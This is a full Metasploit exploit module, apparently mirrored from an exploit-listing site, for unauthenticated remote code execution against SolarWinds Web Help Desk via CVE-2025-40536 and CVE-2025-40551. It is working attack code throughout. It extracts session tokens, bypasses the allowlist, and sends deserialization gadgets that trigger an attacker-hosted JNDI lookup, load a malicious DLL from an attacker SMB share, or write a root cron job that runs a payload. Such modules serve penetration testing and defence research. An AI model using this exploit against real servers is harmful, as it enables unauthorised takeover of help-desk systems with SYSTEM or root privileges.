Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-SOLARWINDS_WEBHELPDESK_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::JndiInjection
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::EXE
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
        'Description' => %q{
          This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
          vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
          server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jimi Sebree', # Original finder @ horizon3.ai
          'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai)
        ],
        'References' => [
          # Access control bypass vulnerability
          ['CVE', '2025-40536'],
          # Unsafe deserialization for RCE
          ['CVE', '2025-40551'],
          # Vendor advisory
          ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
          # Technical analysis from horizon3.ai
          ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
        ],
        'DisclosureDate' => '2026-01-28',
        'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install.
        'Platform' => ['win', 'unix', 'linux'],
        'Arch' => [ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'WHD 12.8.* on Windows (Native code payload)', {
              'VersionStart' => '12.8',
              'Platform' => 'win',
              'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process
            }
          ],
          [
            'WHD 12.8.* on Linux (Command payload)', {
              'VersionStart' => '12.8',
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Payload' => {
                'BadChars' => '\''
              },
              'WfsDelay' => 90 # cron can take ~1 minute
            }
          ],
          [
            'WHD 12.7.* on Windows (Command payload)', {
              'VersionStart' => '12.7',
              'GadgetChain' => 'CommonsBeanutils1',
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ],
          [
            'WHD 12.7.* on Linux (Command payload)', {
              'VersionStart' => '12.7',
              'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux)
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8443,
          'SSL' => true
        },
        'Notes' => {
          # For the 12.8.* target on Windows, the service may crash and restart so we use a stability of
          # CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE.
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    session_ctx = step1_initial_session

    CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
  rescue Msf::Exploit::Failed => e
    CheckCode::Unknown(e.to_s)
  end

  def exploit
    print_status('Step 1 - Initial session...')

    session_ctx = step1_initial_session

    # Verify the remote target matches the expectations for the Metasploit target's version and platform...

    fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']

    case target['Platform']
    when 'win'
      fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
    when ['unix', 'linux']
      fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
    else
      fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
    end

    session_ctx[:service] = get_target_service(session_ctx)

    print_status('Step 2 - Login pref page...')

    external_auth_container = step2_login_pref_page(session_ctx)

    print_status('Step 3 - Trigger SAML object...')

    step3_trigger_saml_object(session_ctx, external_auth_container)

    print_status('Step 4 - Create JSON RPC bridge...')

    jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)

    print_status('Step 5 - Unsafe deserialization...')

    get_target_gadgets(session_ctx).each do |gadget|
      print_status("  Executing gadget - #{gadget[:title]}")

      step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)

      Rex::ThreadSafe.sleep(2)
    end

    # block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
    retry_until_truthy(timeout: datastore['WfsDelay']) do
      !handler_enabled? || session_created?
    end

    handler
  ensure
    unless session_ctx[:service].nil?
      begin
        session_ctx[:service].cleanup
      rescue StandardError => e
        print_error("Error occurred while cleaning up service: #{e.class} #{e}")
        elog(e)
      end
    end

    cleanup_service
  end

  class SimpleSMBShareWrapper < ::Msf::Exploit
    include ::Msf::Exploit::Remote::SMB::Server::Share
  end

  def get_target_service(session_ctx)
    if target['VersionStart'] == '12.7'
      start_service
      return nil
    end

    # For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path
    # over SMB. We need to spin up an SMB server with a share to satisfy this. As we already
    # include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To
    # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
    return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows

    # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
    print_status("Serving a malicious extension over an SMB share on #{bindhost} (SMB on TCP port 445)")

    smb_service = SimpleSMBShareWrapper.new

    smb_service.datastore['SRVPORT'] = 445
    smb_service.datastore['SRVHOST'] = srvhost

    smb_service.setup

    smb_service.file_contents = generate_payload_dll

    smb_service.file_name += '.dll'

    smb_service.start_service({
      'ServerPort' => 445,
      'ServerHost' => srvhost
    })

    smb_service
  end

  def get_target_gadgets(session_ctx)
    gadgets = []

    if target['VersionStart'] == '12.7'
      # Tested against Web Help Desk version 12.7.11.1182 running on Linux.

      print_status("Malicious JNDI URL: #{jndi_string}")

      gadgets.push({
        title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
        json_data: {
          'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
          'jndiLocation' => jndi_string
        }
      })
    elsif target['VersionStart'] == '12.8'
      # We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already
      # been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver.
      gadgets.push({
        title: 'Registering the org.sqlite.JDBC driver',
        json_data: {
          'javaClass' => 'org.sqlite.JDBC'
        }
      })

      if session_ctx[:platform] == :windows
        print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")

        # With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite
        # connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension
        # pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement
        # when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit
        # native code payload.
        #
        # Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using
        # the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your
        # own payloads).
        gadgets.push({
          title: 'Loading malicious extension over SMB',
          json_data: {
            'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
            'driverClassName' => 'org.sqlite.SQLiteDataSource',
            'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
            'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
          }
        })
      elsif session_ctx[:platform] == :linux
        # Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons:
        # https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
        # However when testing against an Ubuntu system, I get the syslog error:
        # cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5
        #
        random_name = Rex::Text.rand_text_alpha(8)

        gadgets.push({
          title: "Creating file in /etc/cron.d/#{random_name}",
          json_data: {
            'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
            'driverClassName' => 'org.sqlite.SQLiteDataSource',
            'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
            'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
          }
        })

        gadgets.push({
          title: "Dirty file write to /etc/cron.d/#{random_name}",
          json_data: {
            'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
            'driverClassName' => 'org.sqlite.SQLiteDataSource',
            'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
            'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
          }
        })
      end
    else
      fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
    end
  end

  # By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left
  # as a target option so we can add new targets (i.e. specific versions of WHD) with ease.
  def build_ldap_search_response_payload
    build_ldap_search_response_payload_inline(target['GadgetChain'])
  end

  def step1_initial_session
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
      'headers' => {
        'x-webobjects-recording' => '1'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res

    fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200

    m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})

    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m

    version = m[1].gsub('_', '.')

    vprint_status("Version: #{version}")

    m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})

    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m

    resource_path = Rex::Text.uri_decode(m[1])

    # jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
    # jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
    platform = if resource_path =~ %r{file:////.:/}
                 :windows
               else
                 resource_path =~ %r{file:///Applications/} ? :mac : :linux
               end

    vprint_status("Platform: #{platform}")

    cookies = res.get_cookies

    jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil

    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid

    vprint_status("JSESSIONID: #{jsessionid}")

    xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil

    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token

    vprint_status("XSRF-TOKEN: #{xsrf_token}")

    x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s

    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id

    vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")

    {
      version: version,
      platform: platform,
      jsessionid: jsessionid,
      xsrf_token: xsrf_token,
      x_webobjects_session_id: x_webobjects_session_id
    }
  end

  def step2_login_pref_page(session_ctx)
    res = send_request_cgi(
      'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'vars_get' => {
        Rex::Text.rand_text_alpha(8) => '/ajax/',
        'wopage' => 'LoginPref'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res

    fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200

    m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)})

    fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m

    external_auth_container = m[1]

    vprint_status("externalAuthContainer: #{external_auth_container}")

    external_auth_container
  end

  def step3_trigger_saml_object(session_ctx, external_auth_container)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, external_auth_container),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
    )

    fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res

    fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
  end

  def step4_create_jsonrpc_bridge(session_ctx)
    res = send_request_cgi(
      'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'vars_get' => {
        Rex::Text.rand_text_alpha(8) => '/ajax/',
        'wopage' => 'LoginPref'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res

    fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200

    m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})

    fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m

    jsonrpc_client = m[1]

    vprint_status("JSONRpcClient: #{jsonrpc_client}")

    jsonrpc_client
  end

  def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
    random_id = rand(1..0xffff)
    random_name = Rex::Text.rand_text_alpha(8)

    # whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted
    allowlist = [
      'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
      'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
    ]

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'data' => {
        Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
        'id' => random_id,
        'method' => 'wopage.setVariableValueForName',
        'params' => [
          random_name,
          json_data
        ]
      }.to_json
    )

    fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res

    fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'data' => {
        Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
        'id' => random_id,
        'method' => 'wopage.variableValueForName',
        'params' => [random_name]
      }.to_json
    )

    unless return_early
      fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res

      fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
    end
  end

end